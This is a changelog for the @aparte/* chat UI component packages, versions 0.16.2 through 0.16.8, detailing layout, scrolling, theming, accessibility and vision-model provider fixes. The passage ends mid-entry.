Skip to content

All versions since 0.16.2

0.16.2

Every @aparte/* package ships at this version (they are released in lockstep).

Patch Changes

  • 705224b: Moving a chat in the DOM (into an <aparte-split> pane, an app shell, any reparenting) no longer disconnects the composer’s wiring: the editor kept the draft in the DOM but value never heard of it, the send button stayed disabled with text visibly in the box, and every composer button had lost its click.

    Every composer child bound its listeners inside _render(), behind the “DOM already there” early return, while disconnectedCallback removed them — so the first reconnect left them deaf. Binding is the connect’s job now, in all five (input, send, cancel, action, add-attachment); _render only builds. The vanilla example’s ?layout=split and ?layout=shell variants moved the chat exactly this way, so the bug was live on both — nothing sent a message there, which is why nothing saw it. @aparte/core

  • 9df343c: overlay-composer on <aparte-chat> (and overlayComposer on all four wrappers): the transcript’s scroll surface spans the whole column and the composer floats over it, so the scrollbar runs edge to edge instead of stopping at the composer’s top — the full-page anatomy the Layout guide sold without this half. Opt-in, never the default: a chat embedded in a small box should not have its composer eating the transcript.

    The viewport leaves the flow (absolute over the shell); elicitation, an above-composer row and the composer keep flowing, bottom-anchored, painted over it. The viewport measures that stack and publishes --aparte-bottom-inset; content, the spacer and the scroll button clear it — and its readers are unconditional (0px unset), so a host that overlays a composer of its own can write the variable by hand without the attribute. When the composer grows under a reader pinned at the bottom, the inset is re-measured and the reader re-anchored in the same observer pass — the view-jump every hand-rolled overlay hits.

    The attribute is read when the viewport wires its observers: set it in the initial markup. Angular binds it on its inner .aparte-chat-container (there the host is the aparte-chat element and the viewport is the inner div’s child) — use the overlayComposer input. @aparte/core, @aparte/angular, @aparte/react, @aparte/svelte, @aparte/vue

  • 39b777f: The scroll-to-bottom button floats 16px above the transcript’s bottom edge in framework-managed mode (React, Vue, Svelte, Angular wrappers), at every scroll position. It used to sit the whole padding + spacer higher — up to a few hundred pixels into the messages.

    Two causes, one per symptom. A position: sticky child is clamped to its parent’s content box, and the bottom spacer was carried as padding-bottom on the scrolling host — territory the button could never enter — so it hung padding + spacer above the edge wherever the reader was. The clearance now lives in an ::after flex item instead: still nothing in the DOM, so the framework’s reconciliation sees exactly what it saw before. And a bottom-sticky element sits at its flow position whenever that is above the sticky line, so a button flowing before a 230px spacer drifted upward as the reader neared the bottom — order: 1 puts its flow position after the spacer, and the sticky line always wins.

    If you worked around this with your own padding-bottom: 0 + ::after override on the viewport, you can remove it — it is now a no-op with the same values.

    Two side effects of the rework, caught on screen and now asserted in the smoke suite: an empty transcript no longer grows a scrollbar (the ::after paid the column’s gap the padding never did, and the hidden button’s slide overhung the content end), and the hidden button now fades instead of sliding in framework-managed mode — its flow position is the very end of the content, so the 8px slide was pure scrollable overflow. Core mode keeps the slide.

    Measured in the browser (spacer 0/60/130/230px): the button holds 16px at every distance from the bottom; before, it floated 48/108/178/278px. A new e2e spec (scroll-button.spec.ts) asserts the rendered geometry in both transcript modes on Chromium and WebKit — the first assertion in the repo that locates this button rather than driving it. @aparte/core

Version-only bumps (no changes of their own): @aparte/engine, @aparte/provider-ai-sdk, @aparte/provider-openai-compat, @aparte/provider-scenario, @aparte/provider-transformers, @aparte/plugin-approval, @aparte/plugin-artifacts, @aparte/plugin-ask-user, @aparte/plugin-compaction, @aparte/plugin-marked, @aparte/plugin-model-selector, @aparte/plugin-shiki, @aparte/plugin-streaming-markdown, @aparte/locale-fr, @aparte/docs-mcp.

0.16.3

Every @aparte/* package ships at this version (they are released in lockstep).

Patch Changes

  • 9406f16: In core mode with overlay-composer, the transcript’s scroll surface no longer overruns its host by the composer inset. .aparte-viewport-container is height: 100% and carries the overlay clearance as padding-bottom; without box-sizing: border-box the padding was added to the height, so the surface stood the whole inset taller than the viewport, clipped — that much scrollbar and content cut off at the bottom. Hosts with a global * { box-sizing: border-box } reset (every example app in this repo) never saw it; a page without one did. The box declares its own sizing now. @aparte/core

Version-only bumps (no changes of their own): @aparte/engine, @aparte/provider-ai-sdk, @aparte/provider-openai-compat, @aparte/provider-scenario, @aparte/provider-transformers, @aparte/plugin-approval, @aparte/plugin-artifacts, @aparte/plugin-ask-user, @aparte/plugin-compaction, @aparte/plugin-marked, @aparte/plugin-model-selector, @aparte/plugin-shiki, @aparte/plugin-streaming-markdown, @aparte/angular, @aparte/react, @aparte/svelte, @aparte/vue, @aparte/locale-fr, @aparte/docs-mcp.

0.16.4

Every @aparte/* package ships at this version (they are released in lockstep).

Patch Changes

  • @aparte/engine@0.16.4 @aparte/core

  • e20d80a: Register a model with task: 'image-text-to-text' to run a vision model in the browser, or point runner at a module of your own; a text model now says when it drops an image, and Stop honours ctx.signal.

    The worker forced pipeline('text-generation') on every model: the task the main thread posted was never read, the public type made registering a vision model a TypeScript error, and image parts were flattened away on the main thread with no warning — a photo attached to a text model produced an answer that pretended to have seen it.

    What changed, for the caller:

    • TransformersModelConfig.task is optional and accepts 'text-generation' (the default, unchanged) or 'image-text-to-text' (AutoProcessor + AutoModelForImageTextToText — SmolVLM, Qwen2-VL, LFM2-VL, Gemma 3…). Transformers.js 4.x has no pipeline for that task, so the runner goes through the model classes the way the model cards do. Image parts reach the model as the composer attaches them; a turn without a picture goes through the tokenizer alone (the processor wants images — “hello” as a first message crashed a real SmolVLM until it did).
    • TransformersModelConfig.runner names an ES module of your own exporting createRunner(ctx); it wins over task. The worker imports it (URL resolved against the page) and hands it the same Transformers.js instance the built-ins use. emit speaks the stream vocabulary (text, thinking, tool_use, done, error), signal fires on Stop, ctx.progress / ctx.warn reach the page, dispose() runs on a model switch. New exports: TransformersRunner, RunnerContext, RunnerGenerateInput, RunnerProgress, RunnerModule, CreateRunner, BuiltInRunner, TransformersModule, and runnerCommand(modelId, name, payload) to reach a runner’s command() from the page, queued behind the generates in flight.
    • The text runner warns once when it drops image parts (naming the vision task), as it already did for tool turns.
    • chat() reads ctx.signal: a user’s Stop now interrupts the model, not just the local read (the contract said bridges MUST; this one read it nowhere). Abort and stream-cancel are one stop; a signal already aborted never posts the generate.

    Each runner is its own chunk under dist/assets/, loaded when a model asks for it (a runner imports core for types only — the first build that took a helper from it shipped all of core in a 426 kB chunk; it is 2 kB). Measured on Chromium + WebGPU (AMD Radeon 8060S), page and package on two origins, Transformers.js 4.2.0 from jsDelivr: HuggingFaceTB/SmolVLM-256M-Instruct (fp16/q4/q4) loads in 7 s download included, answers “Rectangle, circle.” to a red square with a blue circle in 3.7 s cold, and Stop ends the stream within two tokens; SmolLM2-135M-Instruct still streams and stops; a 20-line custom runner imported cross-origin drives the transcript and answers a runnerCommand. @aparte/provider-transformers

Version-only bumps (no changes of their own): @aparte/engine, @aparte/provider-ai-sdk, @aparte/provider-openai-compat, @aparte/provider-scenario, @aparte/plugin-approval, @aparte/plugin-artifacts, @aparte/plugin-ask-user, @aparte/plugin-compaction, @aparte/plugin-marked, @aparte/plugin-model-selector, @aparte/plugin-shiki, @aparte/plugin-streaming-markdown, @aparte/angular, @aparte/react, @aparte/svelte, @aparte/vue, @aparte/locale-fr, @aparte/docs-mcp.

0.16.5

Every @aparte/* package ships at this version (they are released in lockstep).

Patch Changes

  • 8593b60: Five fixes to how the chat feels: the composer no longer comes up ~200 px tall on a slow layout, a send glides to the top instead of jumping, an older message’s action bar sits under the message (in the existing gap, no reserved row), a selected button-group segment reads as selected at rest, and <aparte-split single> shows one pane on demand.

    • Composer (#55). The editor sometimes rendered ~200 px tall while empty, in any host. The auto-grow read scrollHeight at three fixed instants and then only on input; when one fell before the box had its width, the placeholder — a ::before that counts in scrollHeight — wrapped over a dozen lines and the number stuck. A ResizeObserver re-measures on width changes, and the placeholder never wraps (white-space: nowrap, clipped like a native input’s).
    • Send glide (#57). The new user message is meant to glide to the top; it jumped. Measured: five instant scrollTop writes in the send’s own frame (the spacer recalculation pins synchronously, the mutation observer queues another), so the smooth scroll found the view already teleported — and in framework-managed mode the observer’s instant pin ran before the wrapper’s requestSmoothScroll() was honoured (630 px in one frame on React). The glide now begins before the spacer recalculation; while it is in flight, every bottom-pin re-targets it with a second smooth scrollTo (scrollend closes the window, 450 ms budget otherwise); a user bubble the observer sees arrive is a send whoever rendered it. Streaming is instant again after the glide. Reduced motion keeps the instant path. Three engines then refined it: WebKit fires scrollend when a smooth scroll is re-targeted, so only a scrollend that rested at the bottom closes the window; a batch that re-adds several bubbles (a branch swap) is a rebuild, not a send, and pins as it always did; and the reader’s hand ends the glide — wheel and touch stop the animation where it is, a scroll key only closes the window, because the engine animates key scrolls itself. A glide that never arrives is settled by its own timer.
    • Action bar placement (#56). An older message’s bar floated top-right over the header row, because the bubble is a paint-containment boundary and the inter-bubble gap was a flex gap outside every box. The gap is now each bubble’s own padding-block-end (same token, same distance), inside its box, and the bar hangs under the text over message padding-block + gap — 16 + 12 = 28 px at the default density for a 24 px bar. The last reply keeps its always-visible bar in the flow. Two theme tokens appear: --aparte-message-padding-block and --aparte-message-padding-inline; --aparte-message-padding is now derived from them, so a theme that overrode the shorthand should override the two parts instead.
    • Button group (#53). aria-pressed="true", aria-selected="true" or aria-current on a segment of .aparte-btn-group paints it solid in the group’s intent (neutral for --surface), at rest, and hover leaves it alone; a toggled --outline/--soft button outside a group is washed at 30 %, deeper than its 22 % hover. Before, the toggled wash was --aparte-btn-bg-toggled (surface-2), invisible on dark, and hover read as the state.
    • Split (#54). single (boolean) shows one pane — the one pane names — whatever the width: the seam and the other pane are gone, as under the breakpoint, and the seam loses its tab stop. collapsed still folds the primary pane to --aparte-split-min and keeps the seam; the CSS route .aparte-split--only-start/--only-end is unchanged.

    Measured with two new browser specs (the send’s per-frame scrollTop curve and every write to it, on vanilla, React and WebKit; the older reply’s bar geometry, hovered, on vanilla and React) plus 16 unit tests; the scroll-button, overlay, bubble-actions and framework-smoke geometry specs stay green. The check:derived-vars ceiling on responsive sizes moves 8 → 9 for the split padding token. @aparte/core

Version-only bumps (no changes of their own): @aparte/engine, @aparte/provider-ai-sdk, @aparte/provider-openai-compat, @aparte/provider-scenario, @aparte/provider-transformers, @aparte/plugin-approval, @aparte/plugin-artifacts, @aparte/plugin-ask-user, @aparte/plugin-compaction, @aparte/plugin-marked, @aparte/plugin-model-selector, @aparte/plugin-shiki, @aparte/plugin-streaming-markdown, @aparte/angular, @aparte/react, @aparte/svelte, @aparte/vue, @aparte/locale-fr, @aparte/docs-mcp.

0.16.6

Every @aparte/* package ships at this version (they are released in lockstep).

Patch Changes

  • cc303dc: An elicitation’s question no longer runs under the corner “Skip” button (#50).

    The button is absolutely positioned, so nothing in the flow reserved its width: any message long enough to reach the panel’s edge printed its first line underneath it — measured at 43px of text under “Skip” in a 460px panel. .aparte-elic-message now keeps the same room the tab rail already reserves, from the same token (--aparte-elic-dismiss-room), so the two can never disagree — and a locale whose word is wider than “Skip” bumps one value instead of patching two rules. @aparte/core

  • e8043ba: npm keywords carry the words people actually type — nothing in the code changes.

    Core goes from 5 keywords to 19 (chat-ui, ai-chat, chatbot, chat-component, custom-elements, framework-agnostic, the four framework names, agent, tool-calling, human-in-the-loop, openai); each wrapper gains chat-ui and ai-chat. Measured against the category’s incumbents: none of ours were the terms a search starts from. @aparte/core, @aparte/angular, @aparte/react, @aparte/svelte, @aparte/vue

  • 1f7365f: Presence setters treat '' as ON, so Svelte templates actually set the attribute (#62).

    The attribute types document '' as the spelling for a presence attribute, because React and Vue stringify what they set on a custom element. Svelte 5 takes the property path instead whenever the element has an accessor — and single={''} on <aparte-split> (likewise collapsed, disabled, and the sidebar’s collapsed) handed the setter an empty string that toggleAttribute read as falsy: the attribute was removed, the opposite of what the template asked for, silently. On a presence property an empty string now means ON, exactly as an empty attribute does; false, null and undefined still mean OFF. @aparte/core

Version-only bumps (no changes of their own): @aparte/engine, @aparte/provider-ai-sdk, @aparte/provider-openai-compat, @aparte/provider-scenario, @aparte/provider-transformers, @aparte/plugin-approval, @aparte/plugin-artifacts, @aparte/plugin-ask-user, @aparte/plugin-compaction, @aparte/plugin-marked, @aparte/plugin-model-selector, @aparte/plugin-shiki, @aparte/plugin-streaming-markdown, @aparte/locale-fr, @aparte/docs-mcp.

0.16.7

Every @aparte/* package ships at this version (they are released in lockstep).

Every published README opens on its category line, and core’s quickstart says what the client now does on its own (echo included).

Patch Changes

  • 42a9d09: AparteClient echoes the user’s message by default — and echo ownership is a handshake, so nothing doubles.

    The optimistic user bubble used to be every raw-core host’s job: everyone wrote the same aparte-send handler, and whoever forgot shipped a chat where the person cannot see what they typed — it compiles, it streams, and nothing errors. Three consumers hit exactly that.

    Whoever appends the user message marks the event (detail.echoed), and whoever sees the mark yields: the ConversationController (capture phase, so always first) marks for the wrappers’ pairing with a raw client, and the client marks after its own echo, so even two clients on one page render the message once. Attached files ride the echoed bubble as attachments; the wire cannot double — the history builder already excludes trailing unanswered user messages. A raw-core host that still appends its own bubble should drop that handler, or pass echoUserMessage: false to keep ownership. @aparte/core

  • 9df0877: Every package names its documentation page (homepage) — nothing in the code changes.

    npm shows the link first on each package page; none of the twenty had one. Each now points at its own docs page, verified live before it was written. every package

  • b5891b9: The chat follows the system color scheme by default; data-aparte-theme now forces either way — "light" is new.

    Dark existed only behind data-aparte-theme="dark": on a dark OS, an un-attributed chat rendered light on the host’s dark page — unreadable, with no error. Measured by a consumer building from the docs alone. With no attribute, prefers-color-scheme now decides; "dark" still forces dark; "light" (new) forces light, which is the veto a light-always page needs and the escape a themed island inside an opposite page uses. If your app already flips the attribute from its own toggle, nothing changes — the attribute beats the OS in both directions. The dark palette exists twice in the sheet (a media query and an attribute selector cannot share a block); check:derived-vars now holds the copies byte-identical, and holds the light veto to the :root literals, so the duplicates cannot drift. @aparte/core

  • 44a3611: The { text } docs no longer say core parses markdown — a markdown plugin renders it.

    Without @aparte/plugin-marked or @aparte/plugin-streaming-markdown, scripted text streams as plain text, **stars** included. The docs said “parsed by core”, which is not what ships: core deliberately has no markdown renderer. Wording only. @aparte/provider-scenario

  • 8f9d56f: A scenarios-mode tool call without its after route warns at creation.

    when plus a turn containing a tool is perfectly plausible to write — and the default match then routes the tool result back through the same when: identical rounds until the client’s maxTurns error. The hole is visible at creation, so it is said at creation, naming each unrouted tool. Ordered turns mode and a custom match are exempt. @aparte/provider-scenario

0.16.8

Every @aparte/* package ships at this version (they are released in lockstep).

Patch Changes

  • 50085e8: Five calibration decisions from the image audit: the bubble’s corner is the theme’s --aparte-radius-bubble (12px, it was a 14px literal); a control’s edge has its own token, --aparte-border-control, read by the field, the field group, the choice controls and the select trigger; the icon scale is in rem on the type factor (--aparte-icon-size defaults to 1rem, was 14px; sm 0.75rem, lg 1.125rem, xl 1.25rem); the elicitation rows’ radius is the md step; and a disabled button, field or select is drawn — a neutral ground and the muted ink — instead of faded with opacity. The composer’s gated state no longer fades the whole composer.

    --aparte-border did two jobs, separating regions and bounding controls, and six previews showed a control with no visible edge; the new token is derived from the ink and the ground so both schemes follow, and its mix is a first setting. The icon scale was the one scale in the theme pinned in px while every type size followed --aparte-font-scale, so a glyph beside text shrank optically when the reader enlarged the text. Opacity on a disabled control faded the glyph with its ground and read at 2:1 on the send button; “inactive” and “disappearing” are not the same message. Menu items, option rows and a tag’s ✕ keep the opacity for now. @aparte/core

  • 31ccbc2: center-empty centres the welcome group itself: while the chat is empty, the rows’ wrapper carries no block padding, so the empty viewport takes no room in the centred stack.

    Measured on the built demo at 768: the chat’s centre at 240, the visible group’s at 256. The empty viewport still stood 32px tall — the wrapper’s block padding with no row in it — and justify-content: center centred three items of which the first was invisible. The padding goes, not the box: capping the viewport at 0 would leave a 32px scroll surface inside a 0px box, which the browser smoke test every example runs (“an empty transcript must not overflow”) refuses. Framework mode is untouched — there the viewport is the scroll surface and may hold the wrapper’s own empty-state content. @aparte/core

  • 7e5910a: <aparte-chat submit-on-enter="false"> now reaches the composer it composes, and the menu, popover, dialog and tooltip each get a radius knob (--aparte-radius-menu, --aparte-radius-popover, --aparte-radius-dialog, --aparte-radius-tooltip).

    The shell forwarded placeholder and disabled only, so the one switch every wrapper exposes as submitOnEnter had no vanilla spelling short of reaching inside for the composer. It is forwarded by value (the bare attribute keeps the default, Enter sends) and observed, so a toggle after mount follows. The four floating surfaces read a step of the radius scale directly, the only family without a knob of its own: a theme that wanted square menus and round bubbles had to move the scale step and every other reader with it. Rendering is unchanged; the four knobs default to the steps the sheets read before. @aparte/core

  • 316eaa7: The action bar’s first glyph starts on the text column; every inline recipe of the kit sits on the midline (vertical-align: middle); the avatar’s initials, corner and group overlap scale with its size — --aparte-avatar-initials-ratio, --aparte-avatar-radius-ratio and --aparte-avatar-overlap-ratio replace the absolute --aparte-avatar-font-size, --aparte-avatar-radius, --aparte-radius-avatar and --aparte-avatar-group-overlap — and the assistant avatar’s text is the text colour.

    The most reproducible defect of the audit: in 14 previews the first action button’s ink began 5 to 8px right of the paragraph above it, because a glyph is centred in a 24px box; the bar takes that slack back. Inline boxes fall on the baseline unless they say otherwise, and none did: the icon button rode 3px above its neighbours, three spinners shared a bottom edge instead of a centre. The 40px avatar drew the same 11px initials as the 32px one, its corner drifted from squircle to square up the ramp, and a 6px overlap was a fifth of a small avatar and a tenth of a large one — the fractions are computed on the element so a size modifier moves them. @aparte/core

  • 94c44a7: The documented @cssprop defaults now match the stylesheets (61 of 172 were stale), and the reflected state attributes the shipped CSS keys off — data-empty on the chat, data-panel-active/data-panel-mode/data-model-gated on the composer, data-busy on the viewport — appear in each element’s attribute table like their siblings already did.

    The default in a JSDoc tag is a hand copy of a value that lives in a sheet, and the two had drifted: radii off by half, paddings in pixels where the sheet reads the spacing scale, the attachment tile documented at 40px on one page and 56px on another when the theme says 72px. The generated component pages print that default, so a reader tuning a knob started from a value the sheet never had. Every default is now the stylesheet’s value character for character, and a test keeps it so (the source of truth is a :root declaration in theme.css, else a scoped declaration, else the fallback of the var() that reads the knob). Also on the chat page, the hand-composed markup example no longer ends up inside the --aparte-chat-bottom-gap table cell, and the sidebar’s data-drawer is documented against breakpoint rather than a hard-coded 48rem. @aparte/core

  • e4a3e86: Every button core renders is type="button", so a chat placed inside a host <form> no longer submits it when a reader copies a code block, presses a branch arrow or clicks an action; the code block’s copy button carries an aria-label; the reasoning panel is a focusable, named region.

    Thirteen emitted buttons had no type (the bubble’s action bar, branch arrows and edit controls, the composer’s send and stop buttons, the code block’s copy button) and one custom action button was created without one — and a button with no type is a submit button. The copy button was also the one icon button in core named by title alone, which a screen reader does not read; its accessible name now follows the “copied” confirmation too. The reasoning panel is a scroll container (max-height + overflow-y: auto) and had no tab stop, so a keyboard reader on Safari could not scroll it; it is role="region" with tabindex="0", named after its label. A source test now refuses a new untyped button. @aparte/core

  • b20565d: The error segment wears the alert recipe’s parts (aparte-alert__icon, __body, __title, __message; its details block is aparte-segment-error__details), a card’s body folds its content’s outer margins into its padding, and the overlaid composer casts a shadow (--aparte-composer-overlay-shadow).

    Also: hidden now hides any element wearing an aparte- class — a recipe’s own display used to outrank the browser’s [hidden], so a hidden button stayed painted (the copy button of a tool-only turn, on the built preview).

    The error renderer put the recipe’s class on its root and redrew every part under classes of its own — aparte-error-icon-wrapper, -content, -title, -message, -details are gone, and so are the tokens only they read (--aparte-error-icon-size, a 20px literal among derived values, and --aparte-error-title). The card body let a paragraph’s margins stack on its padding, so the sheet’s own example measured a body twice the height of its header. Under overlay-composer the composer floated over the transcript with a z-index and the transcript’s own ground: a thing that floats has to be seen floating. @aparte/core

  • 2e8f3ed: The examples the kit pages render are specimens now: the accordion shows three items, the danger alert carries its icon, the skeleton keeps the family’s own block height, the app-shell shows a populated sidebar, header and transcript, the split’s second pane is a styled document with a colour scheme, the scroll-rail and elicitation examples carry a complete composer, and every chat example is sized in rem. The tool row’s approval label reads “Waiting” (was “waiting for you”) and wears a pause glyph — the one capitalised word plus a glyph its sibling states use; pause joins the built-in glyphs.

    Measured on the built previews: 34 of the 59 kit previews render a header example or an @example verbatim, so those strings are the showcase, not documentation — and they had been written as excerpts. One accordion item let :last-child remove the only rule the family draws; the --danger alert without an __icon beside an --info with one zig-zagged the left column by 23px; block-size: 64px inline contradicted the skeleton’s 5rem token; height: 320px sheared the chat’s first turn at 375. A test now holds the three rules for every sheet and element: enough instances for the relation rules to exist, every documented part present, no hard pixel value against a token of the family. @aparte/core

  • a62abf9: Field groups and the colour field get their corners back; the field family’s knobs now live on :root.

    --aparte-field-radius was declared on .aparte-field itself and read by .aparte-field-group (the field’s parent) and .aparte-color (a sibling recipe). A custom property only inherits downwards, so both computed border-radius: 0 — every field group in the library rendered square (the sidebar’s search, a https:// prefix group). Measured 0px → 9px. Thirteen field knobs (paddings, radius, textarea height, checkbox/radio/switch/range sizes) move to theme.css beside the button’s, where the theming guide sends you and where every other family’s knobs already are. Values are unchanged; the elicitation panel’s own overrides still win inside it. @aparte/core

  • 28b9ead: The branch picker’s arrows are glyphs from the icon provider (so setIconProvider({ prevBranch, nextBranch }) now reaches them), menu and alertTriangle join the built-in glyph set, download and stop are redrawn on the 24-unit grid the rest of the set uses, and a menu that holds a checkable item reserves the check gutter on every item.

    The bubble wrote ‹ and › as text — hairline characters beside 2-unit SVG strokes in the same row — while the two glyphs already existed and were registered as provider keys nothing read. The app header’s documented toggle drew ☰ as text because menu lived only in the extended set behind @aparte/core/icons, and the alert recipe’s documented <aparte-icon name="alertTriangle"> drew a 16px hole for the same reason; core’s documented markup is core’s drawing, so both move in (the extended set no longer exports them). Two of the 28 glyphs were on a 16-unit grid and painted their stroke 50 % heavier than their siblings. The menu’s check gutter was reserved per checkable item, so a plain item beside a checkable one started 16px further left; a panel with any checkable item now reserves it on all of them. @aparte/core

  • 1c5fc64: The two spinners share one stroke, in screen pixels; a determinate ring has a visible track; every pulsing dot pulses in opacity alone, above a named floor (--aparte-pulse-floor); the context gauge’s ring is as heavy as its bar. And the shapes that have to be seen draw themselves: --aparte-track is the ground of a gauge or a skeleton (derived relative to the page), the user bubble is tinted like every other mark, the scrim has a dark value, the scroll rail is as wide as its widest tick and its ticks rest in the control-edge colour. --aparte-spinner-stroke and --aparte-context-ring-stroke are gone (the rings read --aparte-spinner-thickness and --aparte-progress-height).

    The SVG spinner stroked at 2.5 viewBox units — 1.67px in a 16px box, antialiased, 50 % off its CSS sibling — and its track sat at 15 % of the ink, so a determinate 62 % was the percentage of a circle nobody could see; vector-effect: non-scaling-stroke makes the SVG’s weight the CSS ring’s whatever the size. The shared pulse moved in scale as well as opacity, so a row of waiting dots changed width in a loop, and its 0.3 floor left the status dot at 1.55:1 for half of every cycle. A skeleton of one line no longer renders at 60 % of its width. The values on the new tokens are first settings; the names are the fix. @aparte/core

  • d79813f: The spinner, the skeleton, the indeterminate progress bar and the status dot stop under prefers-reduced-motion: reduce instead of flickering.

    The duration tokens were already reset to 0.01ms under that media query, but a 0.01ms cycle with infinite left in place is not stillness: the recipe keeps repainting at a random phase every frame. The descendant sweep in responsive.css only reaches elements inside aparté’s own custom elements, so a recipe used in a consumer’s own markup got neither. Each looping recipe now stops itself with animation: none, the way the spinning icon already did. The skeleton also drops its shine (a stopped gradient sat as a pale band) and the indeterminate bar fills the track (a stopped segment sitting at one spot read as a value). A stylesheet test now asks the same of every looping animation in core. @aparte/core

  • 7774e65: The composer’s box now starts where the transcript’s rows start, at every width: the viewport measures its own inset (padding plus the scrollbar gutter it reserves) and publishes it on the chat host as --aparte-transcript-inset; the composer pads by it, with the old --aparte-viewport-padding as the fallback when no viewport sits beside it.

    Before, the two were independent stacks. The transcript’s rows sat inside a padding plus the gutter the scroller reserves on both edges, the composer inside a flat padding — 10px apart at 768, the gutter’s half apart at 1280 — and the container query that tightens the transcript under 520px could not reach the composer, which is a container of its own. The composer cannot know the gutter and a query cannot cross it, so the element that knows now says it. The property is written on the HOST, not on the viewport: the composer is a sibling, and a custom property only travels down. @aparte/core

  • fee67b7: One focus ring for every control: a 2px outline in --aparte-border-focus, one spacing step OUTSIDE the box (--aparte-focus-outline-offset is var(--aparte-space-1), it was −2px). The soft box-shadow ring (--aparte-focus-ring), the field’s error ring token, the button’s private offset and the select’s --aparte-select-ring/--aparte-select-border-focus knobs are gone; an invalid field’s ring takes the error colour, a field group draws the ring for the field inside it, and the select’s search field is the one documented exception (its ring is inset, an outset one would be clipped by the scrolling panel).

    The kit drew keyboard focus two ways — seventeen recipes with a solid outline, five with a soft wash at 30 % of the accent that measured 1.39:1 against the page, an indicator that was absent rather than weak — and four of the outlines took the control’s intent colour rather than the focus colour. Inside the box, the ring sat 2px from a bordered row’s edge as a second concentric line, and the next row painted over it. The forced-colors block no longer restates outlines that now exist. @aparte/core

  • 735ca53: Every control has a height from one scale — sm 24 · md 32 · lg 36 · xl 40 — and control text is the 14px step: a text button is as tall as an icon button (min-block-size), the field rests at 36 (--aparte-field-size; --sm/--lg one step either side), a button inside a field group takes the field’s height, the select trigger is a field, and the composer’s controls are 36 at rest and the touch target under a coarse pointer (--aparte-composer-control-size, now a declared knob).

    Measured across the previews, 18 of 59 showed two controls side by side at different heights, and the number that kept coming back was 23px: the text button, which had no height at all, beside 24, 29, 32, 36 and 44px neighbours. The scale had three steps that only --icon and --circle read, and a 36px family (send, the input’s action button, the scroll button) that lived off it as literals — it is the named lg step now, and the old 40px step is xl (.aparte-btn--xl; .aparte-btn--lg is 36px, which is what the scroll button already measured). Control text moves from 13px to 14px on the button and the field; --sm and --lg become three distinct steps again. The desktop composer was a 62px bar around 15px of text because its control size defaulted to the touch target everywhere; it is 36 at rest and 44 under (pointer: coarse), which is what that block was for. @aparte/core

  • 212aebd: At a phone’s width the kit folds: the app shell recipe becomes one column under 48rem (the sidebar element already left the grid as a drawer, the grid kept its column anyway), the split’s minimum is min(20rem, 100%) so a pane can never ask for more than the viewport has, and a modal dialog on a phone is a bottom sheet as tall as its content, capped at the screen and clear of the safe areas — it used to stretch a label, a field and two buttons over a 100dvh sheet glued to the physical edges.

    Measured on the 375px captures: the shell gave 259 of its 303px to the sidebar and left the chat a 43px band with the send button cut in half; a 20rem floor on a 375px screen annihilated the end pane to 0px; 586px of empty sheet under a three-control form. @aparte/core

  • 28b9ead: The spinner, the menu, the popover, the tooltip and <aparte-chat> are box-sizing: border-box, so their tokens and an author’s height are the box they paint; a tooltip is as wide as its label.

    Core ships no global reset on purpose, and these recipes set a size and a padding or border in the same rule, so they painted larger than their token under the browser’s default: the spinner 16/20/28 for tokens of 12/16/24, the popover 342px for a cap of 320, <aparte-chat style="height: 320px"> 336px with a split’s seam hanging 16px below both panels — and the token’s value only on a host page with a border-box reset of its own. The tooltip declared a max-width and no width, so as a positioned chip it shrank to its widest word: “Copy to clipboard” broke into two lines at every width. It is width: max-content now, with the same cap. @aparte/core

  • c9529d2: A tool call’s state sits beside the tool’s name, the reasoning block’s chevron sits beside its label, the context gauge’s bar has a measure (16rem), and the starter suggestions take the composer’s column.

    An unbounded margin-inline-start: auto pushed the two ends of one line 554 to 1180px apart on a wide host: the state 596px from the tool name, “Reasoning” 692px from its chevron, a 1046×4px gauge, chips 188px off the composer once the host passed its cap. What belongs to a label sits beside it; what belongs to a column takes its measure. The accordion recipe keeps its chevron at the end — that is what an accordion is. @aparte/core

  • d78b150: <aparte-select> now honours placeholder and disabled written after mount, its presence setters (and <aparte-option>’s, <aparte-optgroup>’s) accept the empty string as ON, the unread grouped attribute is gone, and a loading group says loading from the locale instead of “Fetching models…”.

    Both attributes were observed and neither had a branch in the change callback, so a placeholder rewritten by a locale switch left the visible label and the combobox’s aria-label in the old language, and a select disabled after mount kept a trigger in the tab order, announced as operable. The trigger now takes aria-disabled="true" and tabindex="-1" while disabled (an open dropdown closes), and the label and both aria-labels follow the placeholder. Five setters (open, selected, disabled, collapsed, loading) still read '' as false, so a Svelte 5 template that set them removed the attribute; they use the same spelling as the split and the sidebar now, and one test enumerates all nine presence setters in core. grouped was observed and read by nothing (groups render from <aparte-optgroup> children alone); it leaves the attribute list and the docs. New locale key: loading (default “Loading…”). @aparte/core

  • 9337dd2: Five rendering bugs found by looking at every preview: the reasoning block’s chevron turns again when it opens; an <aparte-icon> inside .aparte-btn takes the button’s icon size; code blocks are set in the code typeface at a code size; the message row’s padding follows the narrow container again; and a turn with nothing to copy shows no copy button. Attachment tiles now use the thumbnail recipe’s part names — aparte-thumbnail__image and aparte-thumbnail__label replace aparte-thumb__img and aparte-thumb__ext — and the composite --aparte-message-padding token is gone (read --aparte-message-padding-block and --aparte-message-padding-inline).

    Each was a form defect, not a palette one. The thinking renderer put its glyph straight into the <summary>, so the accordion recipe’s rotation rule matched nothing — and the recipe’s own documented markup, a bare <aparte-icon> in the header, matched nothing either; both forms are sized and turn now. button.css sized .aparte-btn > svg, and <aparte-icon> renders its svg one level deeper, so the documented markup kept a 14px glyph in a button that asked for 16; the recipe now feeds --aparte-icon-size, the icon’s own knob, which also sizes the accordion chevron. The code block’s <pre> declared no font-family, font-size or line-height and fell into the browser’s generic monospace at the prose’s size — two theme tokens, --aparte-code-block-font-size and --aparte-code-block-line-height, now carry them. --aparte-message-padding joined its two parts on :root, where a custom property is substituted, so the container query that reassigned the parts on .aparte-message never reached the row; a test now refuses any composite token whose parts are redeclared elsewhere. The copy action was offered unconditionally and copied '' on a tool-only turn. The tile parts were drawn twice under two vocabularies, the documented one emitted by nothing; one survives. --aparte-thinking-toggle-size, unread since the chevron became a glyph, is removed. @aparte/core

  • 7826e07: The sidebar’s four regions (header, search, body, footer) indent by one new token, --aparte-sidebar-inset (12px); the selected conversation’s mark follows the row’s radius; and the tool row’s chevron, its part labels and icon, the code header’s language label and the branch picker’s disabled arrows are coloured with the muted ink instead of faded by an opacity.

